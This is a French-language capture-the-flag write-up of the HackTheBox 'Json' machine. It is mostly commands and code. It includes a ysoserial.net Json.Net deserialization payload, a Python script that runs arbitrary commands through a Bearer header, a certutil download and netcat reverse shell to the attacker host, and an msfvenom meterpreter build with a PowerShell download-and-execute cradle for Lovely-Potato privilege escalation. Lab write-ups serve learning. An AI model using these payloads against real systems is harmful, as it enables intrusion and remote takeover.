HackTheBox - Json
RetourJe débute avec nmap, comme toujours :
root@kali:~/HTB/json# nmap -sCV -p- 10.10.10.158
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-17 19:17 CET
Nmap scan report for 10.10.10.158
Host is up (0.016s latency).
Not shown: 65521 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp FileZilla ftpd
| ftp-syst:
|_ SYST: UNIX emulated by FileZilla
80/tcp open http Microsoft IIS httpd 8.5
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/8.5
|_http-title: Json HTB
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49157/tcp open msrpc Microsoft Windows RPC
49158/tcp open msrpc Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 4h01m35s, deviation: 0s, median: 4h01m35s
|_nbstat: NetBIOS name: JSON, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:b9:25:87 (VMware)
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2019-12-17T22:26:02
|_ start_date: 2019-12-17T22:18:24
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 403.44 seconds
Je décide de lancer un scan des sous dossiers :
root@kali:~/HTB/json# ../../dirsearch/dirsearch.py -u http://10.10.10.158 -e php,txt,html,jsp,asmx,aspx -f -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -t 2
_|. _ _ _ _ _ _|_ v0.3.8
(_||| _) (/_(_|| (_| )
Extensions: php, txt, html, jsp, asmx, aspx | Threads: 2 | Wordlist size: 1453388
Error Log: /root/dirsearch/logs/errors-19-12-20_22-54-45.log
Target: http://10.10.10.158
[22:54:46] Starting:
[22:54:46] 200 - 39KB - /index.html
[22:54:53] 403 - 1KB - /img/
[22:54:55] 200 - 4KB - /login.html
[22:55:05] 403 - 1KB - /files/
[22:59:01] 403 - 1KB - /css/
[22:59:26] 403 - 1KB - /js/
[23:08:50] 403 - 1KB - /views/
Task Completed
Rien de bien fou .. Je décide d’utiliser ZAP pour trouver des infos intéressantes sur la page de login écoutant sur le port 80.
Lors de l’envoie des identifiant par requête POST je trouve ceci :
POST http://10.10.10.158/api/token HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Referer: https://10.10.10.158/login.html
Content-Type: application/json;charset=utf-8
Content-Length: 38
Connection: keep-alive
Host: 10.10.10.158
## DATA
{"UserName":"htrfd","Password":"djhg"}
Rien de choquant, un Json avec les identifiants, passons à la suite avec le retour de l’endpoint /api/token
:
HTTP/1.1 404 Not Found
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/json; charset=utf-8
Expires: -1
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 21 Dec 2019 13:12:04 GMT
Content-Length: 17
## DATA
"User Not Exists"
Mais dans le cas des couples d’identifiants admin:admin
, voici ce que j’obtiens :
HTTP/1.1 202 Accepted
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
Set-Cookie: OAuth2=eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0=; expires=Sat, 21-Dec-2019 13:15:18 GMT; path=/
X-Powered-By: ASP.NET
Date: Sat, 21 Dec 2019 13:13:18 GMT
Content-Length: 0
Le cookie Oauth2
contient ceci :
{"Id":1,"UserName":"admin","Password":"21232f297a57a5a743894a0e4a801fc3","Name":"User Admin HTB","Rol":"Administrator"}
Une fois la page ouverte une première fois, un token Bearer
est généré et renvoyé automatiquement :
GET http://10.10.10.158/api/Account/ HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Referer: https://10.10.10.158/index.html
Bearer: eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0=
Connection: keep-alive
Cookie: OAuth2=eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0=
Host: 10.10.10.158
Voici donc l’endroit ou nous pouvons injecter du code a l’aide ysoserial.net
:
C:\Users\jugu\Downloads\master-Release-30>.\ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc" -t
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd','/c calc']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
Je décide d’automatiser les choses avec un script python :
#!/usr/bin/env python3
import base64
import requests
from string import Template
box_ip = "10.10.10.158"
payloadTemplate = Template('''{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd','/c $cmd']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}''')
print("[*] Invokes a command via .NET deserialization")
while True:
cmd = input("[?] CMD: ")
if cmd == "exit":
break
if len(cmd.strip()) == 0:
print("Contiune")
continue
cmd = cmd.replace("'", "\'")
cmd = cmd.replace("\"", "\\\"")
cmd = cmd.replace("\\", "\\\\")
payload = payloadTemplate.safe_substitute({'cmd': cmd})
payloadBase64 = str(base64.b64encode(payload.encode("utf-8")), "utf-8")
requests.get("http://" + box_ip + "/api/Account/", headers={
"Bearer": payloadBase64
})
J’upload un reverse shell en créant un serveur web basique :
root@kali:~/HTB/json# python -m SimpleHTTPServer 8888
Serving HTTP on 0.0.0.0 port 8888 ...
10.10.10.158 - - [22/Dec/2019 16:18:23] "GET /nc64.exe HTTP/1.1" 200 -
10.10.10.158 - - [22/Dec/2019 16:18:23] "GET /nc64.exe HTTP/1.1" 200 -
10.10.10.158 - - [22/Dec/2019 16:18:45] code 400, message Bad HTTP/0.9 request type ('Windows')
10.10.10.158 - - [22/Dec/2019 16:18:45] "Windows PowerShell " 400 -
10.10.10.158 - - [22/Dec/2019 17:16:25] "GET /nc64.exe HTTP/1.1" 200 -
10.10.10.158 - - [22/Dec/2019 17:16:25] "GET /nc64.exe HTTP/1.1" 200 -
[?] CMD: certutil.exe -urlcache -split -f http://10.10.14.65:8888/nc64.exe C:\Windows\Temp\nc.exe
[?] CMD: C:\Windows\Temp\nc.exe 10.10.14.65 4444 -e powershell
[?] CMD: C:\Windows\Temp\nc.exe 10.10.14.65 4444 -e cmd
Visiblement impossible de lancer powershell …
Je suis identifié en tant que userspool :
c:\windows\system32\inetsrv>whoami
whoami
json\userpool
c:\windows\system32\inetsrv>type C:\Users\userpool\Desktop\user.txt
type C:\Users\userpool\Desktop\user.txt
34459a01f50050dc410db09bfb9f52bb
c:\windows\system32\inetsrv>
Voyons voir ce que j’obtiens comme infos supplémentaires :
c:\windows\system32\inetsrv>whoami /all
whoami /all
USER INFORMATION
----------------
User Name SID
============= =============================================
json\userpool S-1-5-21-1325271270-1453780805-384807897-1004
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
==================================== ================ =============================================================== ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\BATCH Well-known group S-1-5-3 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group
BUILTIN\IIS_IUSRS Alias S-1-5-32-568 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
IIS APPPOOL\Json.Net Well-known group S-1-5-82-1097026443-1840990353-1306629843-3865948041-3469430407 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label S-1-16-12288
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
La partie SeImpersonatePrivilege
semble intéressante
Nous allons ici utiliser lovely-potato en clonant le dépot:
root@attacker:~# git clone https://github.com/TsukiCTF/Lovely-Potato.git
root@attacker:~# cd Lovely-Potato
Je modifie la configuration :
$RemoteDir = "http://10.10.14.65"
$LocalPath = "C:\Windows\System32\spool\PRINTERS"
Je créer un reverse shell:
root@attacker:~/Lovely-Potato# msfvenom -p windows/meterpreter/reverse_tcp LHOST=[AttackerIP] LPORT=[AttackerPort] -f exe -o meterpreter.exe
Avec python je créé un serveur web :
root@attacker:~/Lovely-Potato# python3 -m http.server 80
Je me sert de metasploit pour mettre en place un handler :
root@attacker:~# msfdb run
msf5 > # I'm going to omit setting up the multi handler as it is something you should already know
Enfin, j’invoque le payload :
PS > IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.65/Invoke-LovelyPotato.ps1')
Cela peut prendre 10 mniutes pour apparaitre !!
Sources
Lien vers un PDF sur les attaque par deserialisation sur JSON
Retour